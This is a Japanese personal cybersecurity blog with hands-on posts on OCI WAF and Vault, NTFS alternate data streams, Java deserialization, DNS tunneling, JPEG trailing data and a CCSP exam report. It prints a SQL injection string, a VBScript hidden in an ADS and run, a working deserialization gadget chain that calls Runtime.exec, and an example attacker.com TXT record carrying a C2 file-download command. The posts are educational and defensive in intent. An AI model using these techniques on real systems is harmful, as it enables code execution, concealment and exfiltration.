くろイヌ(サイバー犬)のあしあと

サイバーセキュリティとかIT技術関連とか

【OCI】oracle cloud infrastructure-WAFポリシー編

こんにちは、こんばんは。くろイヌ(サイバー犬)です。


OCIで気になっていたWAF(Web Application Firewall)について構築体感してみました。
WAFを試すのにちょうどいい題材がありましたので、実践体感してみました。

 Pythonで学ぶ Webアプリのセキュアコーディング
 脆弱性の見つけ方・直し方が身につく実践入門

https://www.amazon.co.jp/dp/4295023000?ref=ppx_yo2ov_dt_b_fed_asin_title
※本に記載のある環境は、Pythonのバージョンを指定のバージョンと一致させないと
 手順通りには構築できませんでした。

もくじ

◆全体像

 全体構成概要は以下です。PoC要素のため、バランサーのBackendSetを1台で構築しています。
実環境では、バランサーとして機能しません。PoCなのでご了承ください。

[犬小屋]からインターネット経由でOCI上のお試し環境にアクセスする構成です。


◆お試し環境

手順に沿って、OCI上のインスタンスにお試し環境を構築しました。

Top画面

SQLインジェクションページ

パスワード入力欄に [ ' OR '1' = '1 ]を入力。

◆OCIのWAFポリシーについて

 ロードバランサーに適用するWAFタイプがWAFポリシー。今回試すタイプ。

 共有責任モデル

◆OCIのWAFポリシーをロードバランサーに紐付け構築する

①Identity & Security >Policies
 ポリシーをとりあえず作成。とりあえず、ポリシー名「wafDSCLabWAF」。

②ロードバランサーと紐付け

紐付いた状態

③保護ルールを作成

推奨をとりあえず選択

④アクション指定
アクションのPre-configured Check Actionをわかりやすくするため、403で返す。

●アクションの種類
Pre-configured Check Action -
アクセスはブロックしないが、ルールが検知されたことをログに記録
Pre-configured Allow Action
ルールに一致した場合に、残りのルールをスキップし、アクセスを許可する
Pre-configured 401 Response Code Action
ルールに一致した場合に、401コードを返却する

◆SQLインジェクションを試してみる

 ①正常動作確認
 
 

 ②ルール検証
 
パスワード入力欄に [ ' OR '1' = '1 ]を入力。
 
 403のメッセージページが表示される。
 
 ログでも確認。
 

WAFポリシーでSQLインジェクションを検知、アクションでブロックされたことが
確認できました。


以上、お疲れ様でした。(`・ω・´)ゞ

【OCI】oracle cloud infrastructure-OCI Vault編

こんにちは、こんばんは。くろイヌ(サイバー犬)です。

いまだ上位のHyperscalerに及ばずも、4位ぐらいにようやくなれたOCIについて紹介していきます。

OCIのキー管理サービス(KMS)、OCI Vault について、まとめてみました。
FIPS 140-2 Security Level 3の要件への対応、HSMをお手頃で利用できます。

※2026年5月時点
Oracle Cloud Infrastructure Key Management - Vault - HSM保護キー
(最初の20個のキー・バージョンは無料)¥82. 677 キー・バージョン/月

◆もくじ

◆前提

Policy Statements
allow service objectstorage-[リージョン] to use keys in compartment [コンパートメント名]
例)allow service objectstorage-ap-tokyo-1 to use keys in compartment OCI-SEC

◆OCI Vaultの手順

以下、OCI Vaultを試してみました。

Valueは以下2種あり、
・Default Vault:共有パーティション内で仮想的にユーザのVaultを提供
・Virtual Private Vault:ユーザ専用に完全分離された専用パーティションとして提供
今回はお試しなので「Default Vault」です。


①メニューからVaultに遷移。
Identity & Security > Key Management >Vault

②Vault作成。
 ※緑枠に任意の名前を入力。

③作成確認。

④続いて、キータブからキーを作成。

「外部キーのインポート」を指定、「公開ラッピング・キー」をコピー。

⑤コピーした「公開ラッピング・キー」をファイル名publickey.pemで作成。

⑥Cloud Shellで AES-256 鍵を生成。

$ openssl rand 32 > aes_256key.bin

⑦公開ラッピング・キーで暗号鍵をラッピング。

$ openssl pkeyutl -encrypt -in "aes_256key.bin" -inkey "publickey.pem" -pubin -out "wrappedkey.bin" -pkeyopt rsa_padding_mode:oaep -pkeyopt rsa_oaep_md:sha256

⑧「キーの作成」画面に戻り、外部キーのデータ・ソースから、「wrappedkey.bin」を選択し、「キーの作成」ボタンをクリック。

⑨作成確認。

◆他サービスとの連携

例)ObjectStrageのBucketで顧客管理鍵を使用して暗号化。


以上、お疲れ様でした。(`・ω・´)ゞ

NTFSにおけるAlternate Data Streamについて体感してみた

こんにちは、こんばんは。くろイヌ(サイバー犬)です。



悪用禁止。本記事はサイバーセキュリティの技術検証目的で記載しています。

不正アクセス禁止法、ウイルス作成罪、電子計算機損壊等業務妨害に抵触しないようにね☆彡


もくじ

Alternate Data Streamについて

1.Alternate Data Streamて?

 NTFS(New Technology File System)におけるファイルシステムの機能で、メインのファイルデータに追加のデータストリームを関連付けることができる仕組み。
ファイルに対して複数のデータストリームを持たせ、エクスプローラー上に表示されず追加情報を格納することが可能となる。
サイズ制限は特になし。(ストレージ空き容量などファイルシステム仕様や現実的制約ぐらいか)
略して、ADS(Alternate Data Stream)。
ファイルの存在をエクスプローラーから確認できないが、[dir /r] やPowerShell [Get-Item]で表示可能。

2.まずは試して体感してみた

コマンドプロンプトを起動して、適当な文字列をechoしてリダイレクト。

echo Hello >tmp.txt

次に、適当文字列をecho してリダイレクト、「出力ファイル名:識別可能な文字列」 形式を指定。

ファイルの存在をエクスプローラーから確認できないが、[dir /r] で確認できるはず。
出力ファイル名の中身は変わらず。
出力ファイル名:識別可能な文字列」のデータ表示はechoした通り。


3.ちょっとした試し

①お試しスクリプトを用意。
適当なVBScriptを作成。
Msg.vbs

MsgBox "セキュリティ駆け出し冒険者", vbOKCancel, "BlackWolf!"


②ADSに突っ込む

more Msg.vbs >.\tmp.txt:evil.vbs

格納されたのを確認。

Get-Item .\tmp.txt -Stream *

スクリプト自体は不要なので削除。
④ADSに格納されたスクリプトを実行

wscript.exe  tmp.txt:evil.vbs

VBScript
[MsgBox "セキュリティ駆け出し冒険者", vbOKCancel, "BlackWolf!"]
が実行されるはず。

4.何に使えるか&制限

■何に使用されてるか
 →エクスプローラー上表示されない特性から、payloadsの格納、ファイルの隠蔽に使ってる。
Hide Artifacts: NTFS File Attributes, Sub-technique T1564.004 - Enterprise | MITRE ATT&CK®

■制限
 ・ファイルコピーしても保持も、NTFS以外のフォーマットに移動すると保持できない。
 ・ファイル本体自体に格納されてないので流石にメール転送等すると保持されない。

セキュリティ視点からのプログラムーJAVAのSerialize、Deserializeについて体得してみた

こんにちは、こんばんは。くろイヌ(サイバー犬)です。


悪用禁止。本記事はセキュリティの理解を深めるための技術検証目的で記載しています。

不正アクセス禁止法、ウイルス作成罪、電子計算機損壊等業務妨害に抵触しないようにね☆彡


今更ながら、シリアライズ、デシリアライズについて体得してみました。
IT土方時代含めて、今の今まで開発で正直使う機会なかったです。。改めまして。

■環境前提
 OS: Windows 11
 java version "25.0.1" 2025-10-21 LTS
 Java(TM) SE Runtime Environment (build 25.0.1+8-LTS-27)
 Java HotSpot(TM) 64-Bit Server VM (build 25.0.1+8-LTS-27, mixed mode, sharing)

■もくじ

JAVAのSerialize、Deserializeについて体感してみた

1.用語(だいたいのイメージ)

・Serialize:オブジェクト から バイトストリームに変換するプロセス。
・Deserialize:バイトストリームからオブジェクトに変換するプロセス。
・Gadget:デシリアライズ時に呼び出され得る既存クラスのメソッドやオブジェクト。
・Sink:攻撃者の目的を果たせるようなメソッドを実装したクラス。
・Magic Method:デシリアライズの処理でJVMが自動的に呼び出すメソッドのこと。
・Gadget Chain:kick-off gadgetのマジックメソッドから Sink に到るまでのパス。
・Kick-off gadget;エントリーポイントとなるオブジェクトやメソッド。

2.「Serialize」と「Deserialize」のイメージ

 ざっくり要約してみると、以下。
シリアライズで、オブジェクトをバイトストリーム変換、ファイル等に永続化。
シリアライズで、シリアライズで生成されたファイル等からバイトストリームに変換してオブジェクトに戻す。
 ファイル等実体のあるエンティティになってるので、ネットワーク越しに送信元から送信先へオブジェクトを移動させることもできる。
便利だね。(* ̄0 ̄)/ オゥッ!!

3.「Serialize」体得

DataMaker.java

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
public class DataMaker {
    public static void main(String [] args){
       // 第二引数にcalcという文字列
        PersonInfo pic = new PersonInfo("Shepherd", "calc", "WolfDog","RedList");
        try {
            String fileName = "NomalDat.ser";
            FileOutputStream fos = new FileOutputStream(fileName);
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            //Serialize
            oos.writeObject(pic);
            oos.close();
            fos.close();
            
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

DataMaker.javaコンパイルして実行すると「NomalDat.ser」というファイルができあがる。
シリアライズで、PersonInfoオブジェクトをバイトストリーム変換、NomalDat.serファイルに永続化された状態となる。

NomalDat.ser

4.「Deserialize」体得

DataReciver.java

import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectInputFilter;

public class DataReciver{
    public static void main(String [] args){
    	//Check Arguments
	if (args.length == 0) {
            System.err.println("Usage: java DataReciver <file>");
            return;
	}
        //Get arg
        String fileName = args[0];
        //try-with-resources
        try (FileInputStream fin = new FileInputStream(fileName);
               ObjectInputStream oin = new ObjectInputStream(fin)) {
		//filter
                ObjectInputFilter filter = info -> {
                Class<?> cls = info.serialClass();
                if (cls == null){
                    return ObjectInputFilter.Status.UNDECIDED;
                }
                // Explicitly list the allowed classes.
                /*★①
                if (cls == PersonInfo.class){
                    return ObjectInputFilter.Status.ALLOWED;
            	}
            	*/
            	// Allow  itself and its subclasses.★①’
	  if (PersonInfo.class.isAssignableFrom(cls)) {
	      return ObjectInputFilter.Status.ALLOWED;
	   }		    
                return ObjectInputFilter.Status.REJECTED;
            };
            oin.setObjectInputFilter(filter);
            Object obj = oin.readObject(); //RecvObj
            if (obj instanceof PersonInfo) { //★②
                PersonInfo ps = (PersonInfo) obj;
                System.out.println("Nickname: " + ps.nickname);
            } else {
                System.err.println("Unexpected object type: " + obj.getClass());
            }
	} catch (SecurityException se) {
            System.err.println("Rejected by filter: " + se.getMessage());
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

DataReciver.javaコンパイルして、「NomalDat.ser」をデシリアライズすると、PersonInfoオブジェクトのnicknameにセットされてる値が表示されるはず。

5.チョット危ない!?「Deserialize」体得

ここまでは基本的なシリアライズとデシリアライズの挙動体感で、ここからが「セキュリティ視点からのプログラム」の本題。
①Evil.java

//Sink
import java.io.IOException;
import java.io.Serializable;
//Sink
@SuppressWarnings("serial")
public class Evil implements Serializable{
    private final String[] order ;

    Evil(String[] order){
        this.order = order;
    }
    //execute
    public void DoRun() {
        try {
            System.out.println("Bow!");
            Runtime.getRuntime().exec(order); //call exec
        } catch (IOException e){
            e.printStackTrace();
        }
    }

}

②EvilCore.java

//Kick-off gadget
public class EvilCore  extends  PersonInfo{
    String name;


    public EvilCore(String family, String name, String nickname, String type) {
    	super(family, name, nickname, type);
        this.name     = name;
    }
    //Magic Method
    private void readObject(java.io.ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        String[] arr1 = new String[] { name };
        Evil evil =new Evil(arr1);
        evil.DoRun(); //call evil DoRun method
    }
}

③EvilDataMaker

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;

public class EvilDataMaker{
    public static void main(String [] args){
        //第二引数にcalcという文字列
         EvilCore evil = new EvilCore("Shepherd", "calc", "WolfDog","RedList"); 

        try {
            String fileName = "evil.ser";
            FileOutputStream fos = new FileOutputStream(fileName);
            ObjectOutputStream oos = new ObjectOutputStream(fos);

            //Serialize
            oos.writeObject(evil);

            oos.close();
            fos.close();
            
        } catch (Exception e){
            e.printStackTrace();
        }
    }
}

③EvilDataMakerは、DataMaker.javaのEvilCoreオブジェクトをシリアライズ、「evil.ser」というファイルを生成するプログラム。
evil.ser

これを 4.「Deserialize」体得で登場した 「DataReciver」に取り込ませてみる。デシリアライズ

"calc"という文字列が①Evil.javaのRuntime.getRuntime().exec()にわたって、calc.exeが起動するはず。

EvilDataMakerから「①Evil.java」、「②EvilCore.java」のコードはコールされてないはずだけど。わ(* ̄0 ̄)/ オゥッ!!
一応の「 Gadget Chain」になってるはず。

「デシリアライズ処理実装において、ストリームから読み取ったクラス名をクラスパスから取得した後、マジックメソッドが実行」
と説明されてる。EvilCore.class、Evil.classがDataReciverと同一パス、クラスパスから取得できるのが実行成立条件。

6.セキュアにするには?

・DataReciver.javaにあるように「★①」部分の読み込むクラスをホワイトリスト指定する。
 ※PoCのため★①’では継承クラスを許容。
・DataReciver.javaにあるように「★②」部分のインスタンス化するクラスを限定する。
・そもそも論、信頼できないソースから受け取ったデータをデシリアライズしない。
JSONなどシリアライズの代替手段使う。

一般的な開発者視点だと上記。

CCSPを受験して1回で合格してみた(CISSP取得済み)

こんにちは、こんばんは。くろイヌ(サイバー犬)です。

 

ノリ?でISC2 のCCSP(Certified Cloud Security Professional)を受験して、

合格しました。参考情報として使ってもらえれば幸いです。

 

■バックグラウンド(事前のスキルや職歴等)スキル

CISSP取得済み

Oracle Cloud(OCI)の設計・構築・導入等を3年ぐらい実務で経験あり

  (OCI Architect Associate以上かそこら)

AWSは実務でちょっとだけ、Azureは触りぐらい

■受験するきっかけ

 クラウドエンジニアぽいことやってたし、

 CISSPの次はCCSPのクラウドセキュリティしょ!

   スキル差別化!

 正直、これだけです。

 

■使用ツール(独学前提)

 平日は隙間時間、メインは休日。OCIだったどうなんかなと紐付けしながら。

 

① (ISC)2 CCSP Certified Cloud Security Professional Official Study Guide (Sybex Study Guide) ペーパーバック 

https://m.media-amazon.com/images/I/81bpOH8cvDL._SL1500_.jpg

使用感:★★

感想:CISSP同様文字が多い苦痛。英語。日本語版より安いから。。

   パラパラめくって読むぐらい。

 

②CCSP公式問題集 Kindle

https://m.media-amazon.com/images/I/61A2aGaiLzL._SL1236_.jpg

使用感:★★★

感想:1週して8割程度の正解率。間違えた問題だけ繰り返す。

   ドメインごとの整理・練習問題的位置付けがよさそう。

            Kindle版がおすすめ。リンク表示とかしてくれるので。

   隙間時間にスマホで利用。これだけで試験は通用しない難易度設定に見える。

 

③Udemy 動画

 

Pass your CCSP Exam from the first Attempt - Complete Course + 2 Practice Exams, 2200+ Q/A & Key Takeaways study notesPass your CCSP Exam from the first Attempt - Complete Course + 2 Practice Exams, 2200+ Q/A & Key Takeaways study notes

www.udemy.com

使用感:★★★★

感想:動画で表示してる投影してる資料ほしい。あと英語。

   教科書替わりに視聴。

 

④マルチクラウドセキュリティの教科書 クラウド横断で実現する堅牢なセキュリティ基盤 単行本(ソフトカバー)

https://m.media-amazon.com/images/I/81RWM08BtyL._SL1500_.jpg

使用感:★★★★★

感想:AWS/Azure/Google/OCIと解説。時間ないのでOCIメインだけ読みこむ。

   CCSPのドメインに沿ってる!?かのごとくまとまってる。

   理屈だけでなくて、実装につなげてくれる手引きになると思います。

 

CISSP-CCSP-SSCP ISC2 Official

https://play-lh.googleusercontent.com/1SSSw70-THS0RP36mJVZKi2PFVCuQ1DbaPktM5C_XXOOWlKXl_-PGhn5ToPd9EMbgOw=w240-h480-rw

使用感:★★★★★

感想:CISSPに引き続き。英語だけど、問題集としてやりこむ。

   達成率95%ぐらいまでやりこんだ。

 

⑥生成AIで問題生成・問題の深堀質問・調査

 フリーだと利用制限に引っかかるので、Copilot使用率が高かった。

 ハルシネーションには注意したい。

★具体的な問題生成指示(〇は変動)は以下。

------------------------------------------------------------------------------

CCSPの試験模擬問題を下記の条件で〇問提示して。
 ・問題を全部提示した後に回答と解説を提示。 
  なお回答時には問題文とそのCCSP視点での解説を併記。関連キーワードも併記。
 ・CCSPとして重視するポイントアドバイスもつける 
 ・CCSP全ドメインからランダムに出題
 ・選択肢は4つ。うち1つが正解、1つは条件によっては正しくみえる選択肢を含む。どれかは表記しない。
 ・難易度は〇〇。
------------------------------------------------------------------------------ 

 

■勉強方法(完全独学)&所要時間

ドメインごとに使用ツール①、②、③、⑤を消化して、最後に⑤をやりこみ、

 ⑥で仕上げ、④でまとめる。流れ。。

 使用ツール④は、①、③の代替になった可能性も、

 販売時期の関係で最後のほうで導入したので。

 

・試験のためのだけの勉強は好きでないので、

 OCI実務経験を生かしてOCIだとどうなんだろとか調べながら整理

 実務に活かしたい渇望。

・通院してるクリニックで、電子カルテSaaS利用してんだねーとイメージ&整理。

   クラウドシステム、浸透してるので、どう構築されてるか想像して、

 この場合のセキュリティは?と考察するとか。

   3-2-1-1-0バックアップルールは?とか。

 

・所要時間は、約5か月。平日は(隙間時間累積)目標30分、休日メイン。

 ※休日もフルではない

 

■受験してみて

・取得するならCISSP->CCSPの順がいいと思います。幅を広げるイメージ。

・問題集の問題より実際は?な感じが多かった感覚。悩ましく感じた。

 難易度が優しい感じはなかった。CISSPと同じだわー。 クラウドCISSP

・英語での問題文・選択も表示できるので、日本語に訳されすぎで?な場合は

 英語と合わせるとすんなり理解できる場合もあった。

・CCSP対策としては、エントリーレベルのクラウド知識(AWS/Azure・・)が

 あれば問題なしと思われる。フリートライアルでも十分なので体験してみると

 よいかと思います。

 

■総評

・自腹なので1発合格を目指してました。用意周到に準備したつもり。

 後半、だれてきましたが。

・ようやく4大クラウドに入れたぐらいのOCIをクラウドスキルの中核

 (前職での業務都合上そうせざるを得なかった)としてるので、

 セキュリティを+スキル要素に加えられるのは率直にうれしい。

 OCI資格も頑張らんとね。

CISSPの幅を広げる一つがCCSPと個人的感想。

 

 

●その他

・受験した際(2025年9月時点)は、125問/180分だったが、以下変更通知あります。

最大150問と想定しての時間配分が必要かと。

 

2025年10月1日より、CCSP 試験はCAT方式に変更されます
2025年10月1日より、CCSP 試験は可変長のComputer Adaptive Test(CAT)方式のみで実施されます。
受験者は100〜150問の多肢選択式問題に解答する形式となります。

CCSPとは|ISC2 Japan

 

以上です。お疲れ様でした。(@^^)/~~~

DNSトンネリングとは何かを確認してみた

こんにちは、こんばんは。くろイヌ(サイバー犬)です。

 

悪用禁止。本記事は技術検証の目的で記載しています。

不正アクセス禁止法、ウイルス作成罪、電子計算機損壊等業務妨害に抵触しないようにね☆彡

 

DNS Tunnelingとは何かを確認してみました。

 

名前の由来について、GPT-5の回答は、

DNSを使った名前解決の仕組み」を暗号のように使い、中に別のデータを通す“トンネル”に見立てている、

のが名前の由来らしい。。ハテナ( -᷄ω-᷅ ).。oஇ??

 

 本来のDNSFQDNをもとに対応するIPアドレスを応答として返してくれるという本来の使い方から外れて、DNS問い合わせをC2通信用途に使うとか、

外部へ情報を送信するとかに使うてことなんだろう。。ハテナ(・x・ ) 。oO ハテナ(考え中…)

 

〇特徴

・TXTレコードに応答データを付加する

・高頻度に問い合わせ、長すぎるサブドメインは目立つ(検知される)

・大量のデータ送受信には不向き

DNSレコードの中でもTXTレコードを主に利用

・直接ネットにアクセスせずとも内部DNSを経由できれば成立

DNS問い合わせは、FWでフィルターされることが少ない、かつ、

 通信ログ取得対象になることも少ないことを利用。

 DNSフィルターされると厳しいだろう。。

 

 つまり、DNS通信は信頼されてるという条件下で、

TXTレコードを応用して、低頻度、極少量データ通信を行う場合に

採用できる通信手法。

 

・TXTレコード:テキスト情報をドメイン名に関連付けるために使用。

                    使用例: SPF,DKIM,DMARC

 

SPFを設定したTXTレコード例)

 example.com.   3600  IN  TXT  "v=spf1 include:_spf.example.net ~all"

 

に対し、

DNSトンネリングとしての使い方の例)

command123.attacker.com.  60 IN TXT "c2cmd=download_file:secret.docx"

 

これ自体はただのテキスト情報だが、C2通信の観点からみると

command123.attacker.comをDNS問い合わせ

→"c2cmd=download_file:secret.docx" が応答として渡される。あとは解釈次第。

 


 

◎PoC検証

お名前.COMにTXTレコード設定 

値は適当・・

 

nslookupでTXTレコードを問い合わせてみると値が取得でき、

TXTレコードだけを取得してみてみるとプログラム上で値が取得できた。



データ漏洩デモもあったのでリンクさせていただきます。

youtu.be

 

本日はここまで、お疲れ様でした。(@^^)/~~~

画像ファイル(jpg)構造を勉強してみた

こんにちは、こんばんは。くろイヌ(サイバー犬)です。

悪用禁止。本記事は技術検証の目的で記載しています。

不正アクセス禁止法、ウイルス作成罪、電子計算機損壊等業務妨害に抵触しないようにね☆彡

 

 画像ファイル(jpg)について、チョット勉強してみました。

カメラが趣味なら画像ファイルいじる機会があったんだろうけど。。

◆JPGファイル

マジックナンバー: FF D8 

 

●ファイル構造

jpgのファイル構造は、ざっくりと以下のような構造。

各セグメントは、マーカ、セグメント長、セグメントパラメータ

からなるらしい。

そして、ビュアーソフトは、EOI 0xFFD9 以降は読み込まない。

 

F6Exif というツールでjpgファイルのExif情報編集できたりする。

 


●EOI 以降は読み込まれないを応用したPoC 

準備

①jpgファイル

②テキストファイル(ここでは、適当なコマンド)

・Let's Try

 画像とテキストを合成してみる・・

 

PoC-demo.jpgというファイルを合成。

 

開いてみると画像だけど、

EOI 0xFFD9以降にテキストデータが埋め込まれてる状態。

末尾1行取り出して、コマンド実行。

 

リダイレクトでファイル出力された。


 

今回はここまで。お疲れ様でした。(@^^)/~~~